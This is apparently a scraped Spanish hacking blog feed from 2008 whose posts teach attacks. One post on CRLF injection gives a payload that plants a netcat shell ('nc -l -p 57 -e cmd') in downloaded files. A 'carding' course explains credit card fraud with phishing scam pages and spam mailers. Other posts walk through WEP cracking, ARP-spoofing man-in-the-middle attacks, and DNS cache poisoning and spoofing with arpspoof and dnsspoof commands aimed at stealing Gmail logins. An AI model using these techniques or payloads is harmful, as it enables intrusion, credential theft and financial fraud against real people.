sea segura...<br /><br /><br />#Links#:<br /><br />https://addons.mozilla.org/addon/3829 <-- Live HTTP Headers 0.14<br />https://addons.mozilla.org/es-ES/firefox/addon/573 <-- Add N Edit Cookies 0.2.1.3<br /><br /><br /><br />Autor: InyeXion<br />Web: Www.inyexion.net - Www.inyexion.com.ar<br /><br /><br /><br /><br />PDF - HTML<br /><br />Saludos! Inyexion :PUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-20398494712915459672008-09-20T08:12:00.000-07:002008-09-20T08:13:31.606-07:00CRLF Injections: Infectando descargasDocumentandome un poco acerca de las CRLF Injections y de HTTP response Splitting, me he topado con un paper del blog de InyeXion (http://inyexion.com.ar/?num=113) que habla acerca de cómo infectar descargas usando esta técnica, aquí os la explico brevemente (recomiendo hechar un ojo al paper de InyeXion)<br /><br /><br />Un código PHP vulnerable a Source Code Disclosure, debido a que permite la descarga de cualquier tipo de archivo, puede convertirse en un vector de ataque para poder intrusear a una víctima. Tenemos un PHP como este:<br /><br />header(”Content-Type: application/octet-stream”); header(”Content-Disposition: attachment; filename=”.$_REQUEST[”file”]);<br /><br /><br />Existen una serie de caracteres que HTTP utiliza como señales para dar saltos de línea y demás, estos caracteres son CR (carriage return) y LF (Line Feed), cuya representación es 0x0D y 0x0A.<br /><br />Volviendo al ejemplo anterior en PHP, tendríamos una web para descargarnos archivos tipo www.miweb.com/descargas.php?file= , donde en file= pondríamos el archivo a descargar, véase por ejemplo:<br /><br />www.miweb.com/descargas.php?file=programa.bat<br /><br />Ahora bien, si a esa URL, le añadimos dos saltos de línea, el texto que haya acontinuación se transferirá como si fuese el propio código fuente del archivo. Por ejemplo, si añadiésemos %0d%0a%0d%0anc -l -p 57 -e cmd , se produciría el doble salto de linea, haciendo que nuestro archivo programa.bat contenga esas líneas, que lo que hacen es colocar una shell en el puerto 57.<br /><br /><br />Como podeis ver, esta técnica puede ser ampliable en su uso, y buscarse otros código s a inyectar en otras extensiones... todo lo que hay que tener es imaginación.Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-3909101183685089669.post-64817662835627551412008-09-18T12:26:00.000-07:002008-09-18T12:30:33.430-07:00HTTP al descubierto (PDF)################################################################<br /># Title: HTTP al descubierto #<br /># Authors: Vengador de las Sombras & Sknight #<br /># Website: http://0verl0ad.blogspot.com #<br /># Date: 11-9-2008 #<br /># Contact: camaleon_18@hotmail.com & Lix.security@gmail.com #<br /># Maqueteado para Diosdelared by MurdeR<br />################################################################<br /><br />[-------------Index-------------]<br />0x01: Introducción al protocolo HTTP<br />/.0x01 Estructura de HTTP y sus cabeceras<br />/.0x02 Metodos HTTP<br />0x02: Sniffeo y Modificación de Cabeceras<br />0x03: Inyectando Código<br />/.0x03 CRLF Injecton: Descargas Infectadas (Introducción al HTTP Splitting)<br />/.0x04 XSS & SQL injections<br />/.0x05 PHP injections<br />0x04: Enumeración a través de HTTP<br />/.0x06 Sacar información con OPTIONS<br />/.0x07 Banner Grabbing<br />/.0x08 Http Fingerprinting<br />0x05: Contraataques, Evitando la identificación de nuestro servidor<br />0x06: Ataques con Metodos<br />/.0x9 Creacion y Borrado de ficheros (PUT y DELETE)<br />/.0x10 Authorization<br />0x07: Links de interés & Despedida<br />[-------------Index-------------]<br /><br />Link: <a href="http://rs496.rapidshare.com/files/144508905/HTTP_al_Descubierto_by_Sknight___Vengador_de_las_sombras.pdf">DESCARGA</a>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-39458703930158244982008-09-09T15:20:00.000-07:002008-09-09T15:21:35.332-07:00Curso CARDING #RE* * * * * * * * * * * * * * * * * * * * * * * * * <br /> Curso Carding - Primera Parte by Xoptik <br /> Contacto: xoptik@hotmail.es <br /> Tema: Intro Al Carding <br /> * * * * * * * * * * * * * * * * * * * * * * * * *<br /> <br />bueno como andan todos..pues hoy estaba en el colegio aburrido y me surgio una idea...y es la de hacer un taller...curso o como fuking kieran llamarle sobre Carding. Porque un curso sobre esto si ay mucha info???...sencillo ay gente q viene empezando con esto y terminan confundidos leyenddo manuales avanzados o ay scams posteado y se los bajan pero no saben q hacer o tantas cosas. Por eso hoy me decidi a hacer este curso..asi que porfavor cualkier duda , sugerencia o cualkier cosas sientanse libres de agregarme al msn pa dudas etc.... *ACLARO: NO REGALO CCS, MAILERS, MAILIST etc.... si me agregan es pa responderles sus dudas sobre el curso.<br /><br />Bueno sin mucho blablabla...pues empezamos con la primera parte q consta de :<br /><br />1- Que Es El Carding<br />2- Terminos Usados En El Carding<br /><br />La verdad es bien sencillo..lo voy hacer super entendible pa que todos entiendan...porfavor si me atraso con una parte del curso esperenme...que ando con el colegio y tareas y todo eso...<br />Bueno pues como decia Russh en sus tutos... "Todo Es de Manera Educativa , No Me Hago Responsable"<br /><br /><br />Empezamos...xD<br /><br />Que Es El Carding?<br />Arte relacionada con el mundo Underground mediante la cual se utilizan ilegalmente números de tarjetas de crédito, con el fin de beneficiarse economicamente, sea bien traspasando dinero directamente, sea tambien realizando compras que serán cargadas a la tarjeta de la víctima.<br /><br />bueno ya saben q es..ahora pondre los terminos mas usados...ya que en las futuras clases los estare usando y no kiero q esten haciendo spam preguntando:<br /><br />oye y q son ccs??....copiado???...creo q si..xD<br /><br />Bueno pues q es lo q se ocupa pa sacar ccs o pa hacer carding...pues la verdad son cosas muy sencillas las que necesitamos y son:<br /><br />- HostFree o de Paga (Que soporte PHP y tenga Sendmail)<br />- Scam<br />- Mailer<br />- Mailist<br />- Letter<br /><br />Que es Un Host?<br />Bueno es una compañia que aloja tu web ...ai podremos montar el scam<br /><br />* Host que recomiendo free:<br />- www.0fees.net<br />- www.sprinterweb.net<br /><br />* si alguien recomienda mas pues bienvenido sea tu aporte U_U<br /><br />Que Es Un Scam?<br />El scam o fake es el sitio falso donde entraran las victimas por ejemplo montamos un fake de banamex osea clonamos la web de banamex y cuando alguien ponga sus datos en ese fake y nos llegan a un panel de control o a nuestro email, en resumen es un sitio falso de una entidad bancaria u otro.<br /><br />Que Es Un Mailer?<br />Es un codigo en php que se sube en un hosting y manda emails en forma masiva, el tiempo y total de emails ke mande dependera de la letter, hosting y el codigo del php ya que luego no manda emails por que el hosting no sirve o no llegan a inbox, por que el codigo no sirve o la letter esta mal, en resumen sirve para mandar emails.<br /><br />Que Es Una Mailist?<br />Pues facil....la lista de email q vamos a Spamear.<br /><br />Que Es Una Letter?<br />Una letter es el mensaje que le mandamos a las posibles victima por email, osea es el texto que les llega por ejemplo en banamex usaban antes sobre sincronizar su netkey y ellos davan click en las<br />ligas y los mandaba al fake y ahi ponen sus datos, en resumen es el mensaje que les mandamos a las posibles victimas.<br /><br /> -----Terminos Usados En Carding-----<br />-CCS=Credit Cards o Tarjetas de Creditos<br />-Cardear= Comprar Objeto o otra cosa con una CC q no es tuya..xD<br />-Drop = Persona Que Recoje Tu Paquete Cardeado<br /><br /><br />bueno esos son algunos terminos no se si se me olvidaron pero bueno esos son los que recuerdo ahorita..xD<br /><br />Bueno en esta primera parte les hable un poco de teoria y lo basico del carding...es mas o menos para que tengan una idea de lo q se trata todo esto...<br /><br />porfavor no vengan hablando mamadas diciendo pa que queremos esto si ya sabemos...si lo saben mejor quedense callados...este curso es para la gente que vienen empezando y no saben por donde.<br /><br /><br />* En La siguiente clases aprenderemos a Crear un Scam Sencillo...y les dare un Pack con Scams , Letters , Mailer<br /><br />Si Alguien quiere cooperar con el curso bienvenido sean sus comentarios...acepto criticas CONSTRUCTIVAS...<br /><br />PD: Los terminos usados los saque de Xplotion posteado Por DEvillboy<br />PD2: Si Postean este curso en otro foro, web , Blog etc...favor dejar autor y web de donde lo cojiste...NO SEAS LAMMER..TODOS PROTESTAN PQ DESAPARESCAN LOS LAMMERS!Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-3909101183685089669.post-82652599955222575542008-09-08T18:27:00.000-07:002008-09-08T18:28:52.750-07:00[VIDEO] Haciendo ARP Spoofing && SniffingEn este video veremos como hacer la conocida técnica denomidad MITM (Man In The Middle) en una red local, aplicando ARP spoofing & sniffing, para ver los paquetes capturados.<br /><br />Recomiendo que lo descarguen y lo vean, es una técnica muy buena.<br /><br />Download:<br /><br /> * Mirror 1: http://rapidshare.com/files/143493922/ManInTheMiddle.rar.html<br /> * Mirror 2: http://www.zshare.net/download/18373679ac7fb2cc/<br /> * Mirror 3: http://www.megaupload.com/es/?d=UPVOFCMY<br /><br />Herramientas:<br /><br /> * Wireshark: http://www.wireshark.org/download.html<br /> * Ettercap (win32): https://sourceforge.net/project/showfiles.php?group_id=17435&package_id=130431&release_id=269408<br /> * Ettercap (*Unix): http://ettercap.sourceforge.net/download.php<br /> * Librerías WinPcap: http://www.winpcap.org/<br /><br />Texto del video:<br /><br /><blockquote>Buenas a todos, soy Login-Root y hoy vamos a ver como aplicar la tan conocida tecnica denominada "MITM" (Man in the Middle), para ver que informacion esta pasando entre otros dispositivos en una red :P.<br /><br />En una red LAN y en las comunicaciones router-router (entre redes) se utiliza la direccion MAC (Mac Adress - dirección física) de las placas de red o dispositivos para comunicarse entre si, la cual esta no se "debería" :P repetir en ningún otro dispositivo (cada uno tiene su propia MAC, la cual es única).<br /><br />Entonces, si un ordenador en una red local con IP 10.0.0.4 se quisiera comunicar con su gateway (router), el cual su IP es 10.0.0.2 (esto el ordenador lo sabe bien gracias a un servidor DHCP o bien por una configuración manual del administrador de la red), debería primero conocer la MAC destino (la de su gateway), y eso como lo obtiene? Bueno, esto lo puede obtener mendiante mensajes llamados "ARP", los cuales se utilizan UNICAMENTE en las redes locales. Entonces, lo que haria la PC con la IP 10.0.0.4 sería enviar un mensaje ARP Broadcast (un mensaje a la IP 10.0.0.255 en este caso, es como hacerle una petición a todas las maquinas de la red) preguntando ?Cuál es la MAC de 10.0.0.2?.<br /><br />En este caso, 10.0.0.2, respondería diciendo "Hola, yo soy 10.0.0.2 y tengo la MAC "Tal MAC"), y esto 10.0.0.4 lo guarda en una tabla ARP-Cache temporal para no estar preguntando a cada rato.<br /><br />Aca entra en juego el ARP Spoofing, el cual consiste en, básicamente, lo siguiente:<br /><br />10.0.0.4 envia mensajes ARP a su víctima 10.0.0.3 diciendole "Yo soy 10.0.0.2 y tengo la MAC: ______ <= MAC ATACANTE), entoncescuando 10.0.0.3 se quiera comunicar con su router 10.0.0.2, en realidad se va a estar comunicando con la PC del atacante, pasando toda la información por ésta, la cual vamos a ver gracias a un bonito sniffer :D.<br /><br />Tambien se hace obvio la nececidad de falsificar la MAC de la víctima al router, enviandole mensajes ARP cada cierto tiempo diciendo "Yo soy 10.0.0.3 y tengo la MAC: _____ <= MAC ATACANTE), por la cual cuando el router se quiera comunicar con 10.0.0.3, se estará comunicando realmente con 10.0.0.4 (Atacante).<br /><br />Esta técnica se llama MITM (Man in the Middle) y se puede realizar con muchos y muy variados programas para distintas plataformas, para distintos usos, etc, de los cuales yo en este caso voy a utilizar Ettercap (Spoofer, el programa que falsifica las MAC, como les estuve diciendo) y el Wireshark (ex Ethereal, vemos los paquetes nuestros y los de nuestra victima).<br /><br />Basta de tanta cháchara y vamos a ver como hacerlo :D.<br /><br /><br />Primero vamos a abrir el Ettercap</blockquote>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-3909101183685089669.post-1063666921804459172008-08-17T17:57:00.000-07:002008-09-08T18:26:47.555-07:00Libro [construccion de antenas caseras]The Jolly Rogers Underground PVC, Antena Pirata Wifi, Manual Experimental de Construcción de Antenas WIFI de forma Profesional en PVC<br /><br /><br />Datos Técnicos<br />The Jolly Rogers Underground PVC, Antena Pirata Wifi, Manual Experimental de Construcción de Antenas WIFI de forma Profesional en PVC<br />PDF | Spanish | 31 de Julio de 2007 | Norbert R. Ibañez | 61 Paginas | España | 2.84 MB | Modificado 31-MARZO-2008<br /><br />Descripción<br />Este manual de Referencia de construcción Rápida de las antenas WIFI en PVC The Jolly Rogers, concentra el Conocimiento Profesional aprendido con la Experiencia Obtenida, en el 2007. Trata sobre los Problemas Especiales; el diseño personal y Construccion de Antenas WIFI de forma Profesional en PVC, y se publica para asegurar el aprendizaje y diseminación de información útil que no ha sido jamás publicada hasta ahora en los manuales existentes de Telecomunicaciones. La Serie Jolly Rogers es una categoría Especial de publicación Experimental; que recoge la información, algunos progresos y la experiencia de trabajos sobre Antenas WIFI que he hecho en la construcción de Antenas.<br /><br />Nota<br />Siempre que alguien escribe un texto, o un libro, o un manual, que no puede considerarse como “Oficial”, especialmente en estados Unidos, y Reino Unido, en el mundo del Underground se le aplica la clasificación de Jolly Rogers en analogía a que se trata de un trabajo o un material que no respeta las reglas oficiales convencionales. Un trabajo clasificado como Jolly Rogers es una forma de publicación que exhibe o anuncia la intención de que contiene técnicas clandestinas o ideas no oficiales.<br /><br /><br />Enlaces:<br /><br /><a href="http://usercash.com/go/1/33621/http://uploaded.to/file/uyqaq9/Antena.Jolly.Rogers.-.Norbert.R.Edicion.2008.rar">Descarga de Uploaded.to</a><br /><br /><a href="http://usercash.com/go/1/33621/http://www.filefactory.com/file/50339c/n/Antena_Jolly_Rogers_-_Norbert_R_Edicion_2008_rar">FileFactory</a><br /><br />Fuente: http://www.intercambiosvirtuales.org/search/label/Libros%20-%20ManualesUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-30674848942938267882008-08-17T17:51:00.000-07:002008-08-17T17:57:00.437-07:00Crackear una WEP para dummiesBueno pues este es un mini manual de como crackear la wep, pero la unica direfencia que existe en este es que NO NESECITAS TENER NINGUN CONOCIMIENTO PREVIo, he de mencionar que varios "compañeros" de este foro han hecho MANUALES DE CALIDAD, mas si en cambio esta es solo otra alternativa...<br /><br />Bueno primero descargaremos un live-cd linux, en este caso backtrack de la siguiente direccion:<br />http://www.remote-exploit.org/cgi-bin/fileget?version=bt3-cd<br /><br />Una vez quemada la imagen boteamos nuestro pc, y una vez dentro de Backtrack, abrimos una consola y escribimos:<br /><br />wesside-ng -i wlan0<br /><br />donde wlan0 representa el nombre de tu interfaz wireless.<br /><br />Este comando hace todo automatico por ti, tu NO TIENES QUE HACER NADA, solo esperar la clave, y lo mejor de todo es lo que encuentre a su alrededor<br /><br />http://img355.imageshack.us/img355/4945/easyuseod3zk2.pngUnknownnoreply@blogger.com1tag:blogger.com,1999:blog-3909101183685089669.post-46282587493744413942008-08-16T09:06:00.000-07:002008-08-16T09:07:53.381-07:00DNS Poison & Spoof by MurdeR----------------------------------------<br />~= DNS Poison & Spoof by MurdeR =~<br />----------------------------------------<br />Para el foro: www.diosdelared.com<br />----------------------------------------<br />"La potencia sin control no sirve de nada"<br />----------------------------------------<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Intro:<br />~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Muchos me han preguntado que es en realidad el DNS Poisoning, si editar el hosts de windows es envenenar los dns, y la gran mayoría ha admitido no saber bien que es y en qué consiste esta tecnica.<br /><br />Entre la diversidad de ataques orientados a suplantar una IP de un dominio por otra, la gran mayoría apuntan directamente al DNS server. Como ya sabrán el DNS Server es el ecargado de traducir los dominios a IPs o viceversa, por lo tanto si podemos suplantar o evenenar el dns server primario de una maquina, tendremos total control sobre lo que dicha maquina ve como resultado a su petición.<br /><br />La utilidad de suplantar o envenenar un dns server puede ser muy variada, puede servir para robar datos de login y así poder controlar el panel de administración de la "victima", puede servir para robar datos sensibles y así conseguir dinerito extra, puede servir para muchisimas cosas y en todos los casos cosas malas xD<br /><br />La diferencia principal entre el DNS Poisoning y la sustitución de dns en la "victima" es que NO necesitamos utilizar un virus para infectar la maquina "victima" y así nos evitamos las complicaciones de la ingeniería social, los antivirus, programar un code, etc.<br /><br />Ya que el pete de reberto se niega a aprender-.- les hago un tuto intentando explicar bien que es y como efecutar DNS Caché Poison y DNS ID Spoof.<br />Aclaro que esto no es una guía paso a paso de como efectuar el ataque, si diré cuales son las herramientas y cual es el metodo del ataque, pero ustedes mismos deberán aprender a usar las herramientas y a efectuar el ataque.<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Funcionamiento de los DNS Servers:<br />~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Primero y muy importante es comprender como funcionan los servidores de DNS y para esto no queda otra que la teoría, la cual haré lo más amena posible con ejemplos tontos de los mios Lengua<br /><br />-DE DOMINIO A IP-<br />Como sabran en internet todas las maquinas conectadas se comunican entre ellas por la IP, es obvio esto pero es importante tenerlo claro. Cuando escribimos en el navegador www.google.com, nuestra maquina le pedirá a nuestro DNS Server (el que seguramente nos proporciona el ISP) la IP de google.com, este al no saber cual es la IP (pq no puede almacenar todas las IPS de todos los dominios), "leerá" la configuración de google.com y de allí obtendrá cual es el DNS server responsable de dicho dominio (similar a cuando hacemos un whois), en segundo paso contactará a dicho server y le preguntará cual es la IP de google.com, al recibir respuesta nos conectaremos directamente a la IP.<br /><br />[Pepe] --> cual es la ip de google? --> [DNS de Pepe]<br />[DNS de Pepe] --> cual es el dns server de google.com --> [whois server]<br />[DNS de Pepe] <-- el server de google.com es "[DNS de google.com]" <-- [whois server]<br />[DNS de Pepe] --> cual es la ip de google? --> [DNS de google.com]<br />[DNS de Pepe] <-- la ip de google es 64.x.x.x <-- [DNS de google.com]<br />[Pepe] <-- la ip de google es 64.x.x.x <-- [DNS de Pepe]<br />[Pepe] --> mostrame google.com --> [64.x.x.x]<br />[Pepe] <-- tomá google.com <-- [64.x.x.x]<br /><br />Con ejemplo debería quedar claro como funciona más o menos y sin muchos tecnisismos todo el temita Lengua<br /><br /><br />-SOBRE LA AUTORIDAD-<br />Se denomina DNS autoritario a los servidores que tienen "permiso" para resolver directamente (sin preguntarle a otro dns server) determinado dominio. Es importante saber esto pq si hacemos un DNS trucho que se crea autoritario y que responda por el dominio a "atacar" o bien spoofeamos unas cabeceras para atender una respuesta que le hicieron a otro server podremos suplantar a dicho dominio.<br />El DNS trucho autoritario es el que se usa normalmente en la tecnica "True poison" que en realidad no es más que la suplantación mediante virus del dns server de una maquina concreta.<br /><br /><br />-SOBRE LA CACHÉ-<br /><br />Para no estar haciendo todo el lio anteriormente explicado, ya que pepe y muchisimas otras personas visitan con frecuencia google.com, el dns de pepe tiene una cosita que se llama caché, que es una especie de base de datos propia en la que puede guardar las ips a las que apuntan determinados dominios, esta caché está configurada para actualizarce cada determinado tiempo.. en algunos servidores cada media hora, en otros cada 12 horas y en otros cada 24 horas... incluso más.<br />Ya se van haciendo una idea de como va el caché poisoning, si nos topamos con que determinado dns no tiene almacenado nada relativo a un dominio en concreto y conseguimos engañarlo... tendremos un buen margen de tiempo envenenada la caché con una resolución falsa Lengua<br /><br />-SOBRE EL ZONE TRANSFER-<br /><br />Otra cosa importante que hay que saber es que es y para que sirve el Zone Transfer, basicamente el zone transfer consiste en que cuando un server le pregunta a otro, que es se supone autoridad de determinado dominio, cual es la ip de ese determinado dominio el segundo le devolverá la ip de ese dominio más un monton de otros dominios de los cuales es autoridad, de esta forma quedan almacenado en la caché del primero todos los dominios de los que el segundo es autoridad. Ya es liante así explicado, mejor veamoslo en el ejemplo de pepe, centrmonos en lo remarcado en negrita:<br /><br />[Pepe] --> cual es la ip de google? --> [DNS de Pepe]<br />[DNS de Pepe] --> cual es el dns server de google.com --> [whois server]<br />[DNS de Pepe] <-- el server de google.com es "[DNS de google.com]" <-- [whois server]<br />[DNS de Pepe] --> cual es la ip de google? --> [DNS de google.com]<br />[DNS de Pepe] <-- la ip de google es 64.x.x.x & la ip de google.es es 65.x.x.x & la ip de google.uk es 67.x.x.x<-- [DNS de google.com]<br />[Pepe] <-- la ip de google es 64.x.x.x <-- [DNS de Pepe]<br />[Pepe] --> mostrame google.com --> [64.x.x.x]<br />[Pepe] <-- tomá google.com <-- [64.x.x.x]<br /><br />Como verán el dns de pepe solo preguntó por la ip de google.com, sin embargo el dns de google le respondio con la ip de google.com y de todos los demás dominios sobre los que es autoridad. Automaticamente el dns de pepe guardará esos datos en su caché por si alguien le pregunta por ellos.<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~<br />1º Ataque: DNS Caché Poison<br />~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Recordando la teoría sobre el caché y el zone transfer paso directamente a explicar un ataque con el ejemplo de Pepe y su enemigo un hacker malo llamado Zer0 z0orG xD<br /><br />Zer0 z0orG que se lleva muy mal con pepe decide ownearle su correo electronico gmail para despues robarle su dominio y borrarle la página.. primero intenta enviandole un troyano pero no cuela pq pepe usa nod32 full update Lengua<br />Entonces Zer0 z0orG decide sacar a relucir sus amplios conocimientos de juanking y efecutar un ataque directo al dns server de Pepe. Para el que pregunte como carajo sabe cual es el dns server de pepe... sabe que pepe usa telefonica como isp y telefonica solo tiene 2 dns servers uno primario y uno secundario para sus clientes.<br /><br />Requisitos para el ataque:<br />Un servidor dedicado (su pc pedorro con debian instalado).<br />Un dominio (hackermalo.com).<br />Un dns server instalado en el dedicado (bind9).<br /><br /><br />Primer paso: -Configurar un dominio-<br />Para que funcione este ataque Zer0 z0orG necesita configurar su dominio para que tenga como autoridad al dns server que instalará en su servidor.<br />Para ello simplemente se va a godaddy.com (donde compró el dominio) y en DNS Configuration cambia la IP del dns primario por la de su servidor.<br /><br />Segundo paso: -Instalar y hackear el DNS Server-<br />El siguiente paso es hacer un apt-get install bind9 y "hackearlo", digo hackearlo pq el tiene que configurar las zonas del dns server recien instalado de modo que se sepa autoridad sobre hackermalo.com, eso es logico, pero además debe configurar un zone para gmail.com y debe también hacer que se "crea" autoridad sobre dicho dominio.<br />Para el que no tenga ni idea de como va este tema, busquen un tuto sobre configuración de bind Lengua<br /><br />Tecer paso: -Server web y Scam-<br />Ahora Zer0 hace un scam de gmail.con, lo monta en el htdocs de apache y configura el http.conf para que apunte gmail.com a htdocs/gmail-scam/<br />*Para el que no sabe que shit es un scam: http://www.diosdelared.com/index.php?topic=1451.0<br /><br />Ultimo paso: -El ataque!-<br />Ahora Zer0 z0orG entra en su laptop con Windows Vista Home Edition y configura las conexiones de red modificando la parte de DNS Server y mete como primario a "[DNS de pepe]".<br />Una vez hecho lo anterior lo unico que resta es entrar a hackermalo.com y esperar que la magia suceda.<br /><br /><br />Y que sucede?<br /><br />[Zer0 z0orG] --> cual es la ip de hackermalo.com? --> [DNS de Pepe]<br />[DNS de Pepe] --> cual es el dns server de hackermalo.com --> [whois server]<br />[DNS de Pepe] <-- el server de hackermalo.com es "[DNS de Zer0 z0orG]" <-- [whois server]<br />[DNS de Pepe] --> cual es la ip de hackermalo.com? --> [DNS de Zer0 z0orG]<br />[DNS de Pepe] <-- la ip de hackermalo.com es 192.x.x.x & la ip de gmail.com es 192.x.x.x<-- [DNS de Zer0 z0orG]<br />[Zer0 z0orG] <-- la ip de hackermalo.com es192.x.x.x <-- [DNS de Zer0 z0orG]<br />[Zer0 z0orG] --> mostrame hackermalo.com --> [192.x.x.x]<br />[Zer0 z0orG] <-- tomá hackermalo.com <-- [192.x.x.x]<br /><br />¡¡¡CACHé ENVENENADA!!! (en teoría si es vulnerable Lengua)<br /><br />Y minutos más tarde...<br /><br /><br />[Pepe] --> cual es la ip de gmail.com? --> [DNS de Pepe]<br />[DNS de Pepe] mira en su caché y encuentra gmail, obviamente con la IP falsa que le devolvió el [DNS de Zer0 z0orG]<br />[Pepe] <-- la ip de gmail.com es 192.x.x.x <-- [DNS de Pepe]<br />[Pepe] --> mostrame gmail.com --> [192.x.x.x]<br />[Pepe] <-- tomá scam de gmail !! OWNED <-- [192.x.x.x]<br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Ataque 2: DNS ID Spoofing<br />~~~~~~~~~~~~~~~~~~~~~~~~~~<br />En caso de que estemos en la misma red local que [Pepe] o que el [DNS de Pepe] no es necesario realmente armar todo el bardo, es suficiente con efectuar un man in the middle y ponerse a spoofear. No transmitir los mensajes desde el dns de pepe o bien el dns autoritario le envien a pepe o al dns de pepe y falsearlos..<br /><br />Antes de seguir deben saber efectuar un man in the middle y spoofear paquetes, por suerte MurdeR ya habló de eso en los siguientes posts:<br />http://www.diosdelared.com/index.php/topic,176.0.html -> Arp Spoof<br />http://www.diosdelared.com/index.php?topic=9126.0 -> Sniffing + Spoofing de Redes<br /><br />Volvemos al ejemplo de Pepe y Zer0 z0orG para que resulte mas sencillo:<br /><br />Zer0 z0orG no pudo ownearse el DNS con su tecnica anterior pq estaba parcheado y no se owneó el mail de Pepe, entonces aprovecha que tiene control sobre un server que está en la misma red local que el [DNS de Pepe] para intentar hacer un Man in The Middle y envenenar a mano la caché! (Zer0 es bien leet eh :O)<br /><br />Requisitos:<br />- Acceso y control total (/root) de una maquina en la red local<br />- hping2 (incluye en teoría arpspoof)<br /><br />Primer paso:<br />Zer0 envenena la ARP haciendole creer al [Router] que el [PC OWNED] es en realidad [DNS de Pepe] y haciendole creer a [DNS de Pepe] que el [PC OWNED] es el [Router]:<br /><br />Activa el forwarding para que todo lo que pase por [PC OWNED] sea retrasmitido automáticamente a su verdadero destinatario:<br />Citar<br />[root@PC OWNED Zer0]# echo 1 > /proc/sys/net/ipv4/ip_forward<br /><br />Y procede a envenenar el ARP:<br /><br />Citar<br />[root@PC OWNED Zer0]# arpspoof -t [Router] [DNS de Pepe]<br />arp reply [DNS de Pepe] is-at [PC OWNED]<br />arp reply [DNS de Pepe] is-at [PC OWNED]<br /><br />Citar<br />[root@PC OWNED Zer0]# arpspoof -t [PC OWNED] [Router]<br />arp reply [Router] is-at [PC OWNED]<br />arp reply [Router] is-at [PC OWNED]<br /><br />Con eso todo lo que envie [Router] a [DNS de Pepe] y viceversa pasará por [PC OWNED] pues hemos efecuado un envenenamiento de ARP.<br /><br />Segundo paso:<br />Ahora Zer0 necesitá poner a funcionar un sniffer en tiempo real, en nuestro caso tcpdump con un script que detecte si hay una petición de parte de [DNS de Pepe] al [DNS de GMAIL] y en ese preciso instante de de baja el ip_forwarding:<br /><br />Citar<br />[root@PC OWNED Zer0]# tcpdump -vvv -w /dump host [Router] and proto udp<br /><br />Con eso se snifará todo el trafico que pase por nuestra maquina con destino a [Router] en protocolo udp. Lo que resta es hacer un script en bash que analice cada 1 segundo el contenido de "/dump", chequee si hay una peticion a [DNS de GMAIL], que en caso negativo borre el dump, en caso afirmativo detenga el ip_forwarding.<br /><br />Tecer paso:<br />Ahora Zer0 que ya tiene el id de la petición falsea una respuesta de forma similar a la siguiente:<br /><br />Citar<br />[DNS de GMAIL]. 124594 IN A 192.x.x.x<br /><br />Donde 124594 es la ID y 192.x.x.x es la IP falseada.<br /><br />Con esto quedaría en teoría envenenada la caché del [DNS de Pepe]!<br /><br />Alternativa al Tercer paso:<br />Imaginando que Zer0 tuviera acceso la red local de Pepe en lugar de al DNS de Pepe sería mucho más sencillo usar la herramienta DNSSpoof:<br />(Los pasos anteriores serían identicos salvando la diferencia entre [DNS de Pepe] y [Pepe])<br /><br />Citar<br />[root@PC OWNED Zer0]# dnsspoof -f hosts<br />dnsspoof: listening on eth0 [udp dst port 53 and not src [PC OWNED]]<br /><br />Y luego creado el hosts de la siguiente forma:<br /><br />Citar<br />----<br />[root@PC OWNED Zer0]# cat > hosts<br />192.x.x.x *.gmail.com<br />----<br /><br />Con eso en cuanto [Pepe] le haga una petición al DNS relativa a gmail estará spoofeado el dns server y no habrá necesidad de envenenar la caché del verdadero DNS Lengua<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Despedida:<br />~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br />Queda mucho más por decir, se puede hablar de metodos para intentar "adivinar" la ID de los mensajes y así evitar tener que spoofear, se puede hablar de exploits que lo hacen todo solo, de servidores mas o menos vulnerables, etc etc.<br />Yo creo que la teoría hasta acá llega y los que hayan leido y comprendido ya pueden considerar que saben bien que es y mas o menos como realizar un ataque a un DNS Server.<br /><br />Para finalizar les pongo documentación y enlaces interesantes que DEBEN si o si chequear:<br /><br /><br />- Kaminsky DNS Cache Poisoning Flaw Exploit for host<br />http://www.caughq.org/exploits/CAU-EX-2008-0002.txt<br />- Kaminsky DNS Cache Poisoning Flaw Exploit for Domains<br />http://www.caughq.org/exploits/CAU-EX-2008-0003.txt<br />- DNS Spoofing techniques<br />http://www.securesphere.net/download/papers/dnsspoof.htm<br />- Información técnica:<br />http://www.kb.cert.org/vuls/id/800113<br />http://www.us-cert.gov/cas/techalerts/TA08-190B.html<br />http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1447<br />-Lista con el estado de servidores DNS de los principales ISP españoles:<br />http://bandaancha.eu/analizador-dnsUnknownnoreply@blogger.com0tag:blogger.com,1999:blog-3909101183685089669.post-71187931477632340222008-07-27T14:25:00.000-07:002008-07-27T14:49:35.592-07:00ntroduccion al XPath Injection by RebertoXPath Injetions es una tecnica mas, usada para explotar una web vulnerable por medio de consultas xpath de parte de el atacante.<br />Primero para empezar a ver la introduccion necesitamos saber que es el Xpath aqui adjunto una definicion de la wikipedia xD:<br /><br />"XPath (XML Path Language) es un lenguaje que permite construir expresiones que recorren y procesan un documento XML. La idea es parecida a las expresiones regulares para seleccionar partes de un texto sin atributos (plain text). XPath permite buscar y seleccionar teniendo en cuenta la estructura jerárquica del XML. XPath fue creado para su uso en el estándar XSLT, en el que se usa para seleccionar y examinar la estructura del documento de entrada de la transformación."<br /><br />Bueno, ahora que ya sabemos que es el XPath vamos a ver que son las injections de este lenguaje...<br /><br />Basicamente, viene de la mano con las SQL Injection ya que a medida que nosotros injectamos querys vamos a ir logrando sacar informacion de la database.<br />En documentos xml, la informacion se guarda en nodos y cuando se le consulta a traves de Xpath querys devuelve una respuesta.<br />Veamos un ejemplo asi queda mas claro: Digamos que tengo un archivo xml que se llama userddlr.xml y este esta mas o menos asi:<br /><br /><blockquote><ddlr><br /> 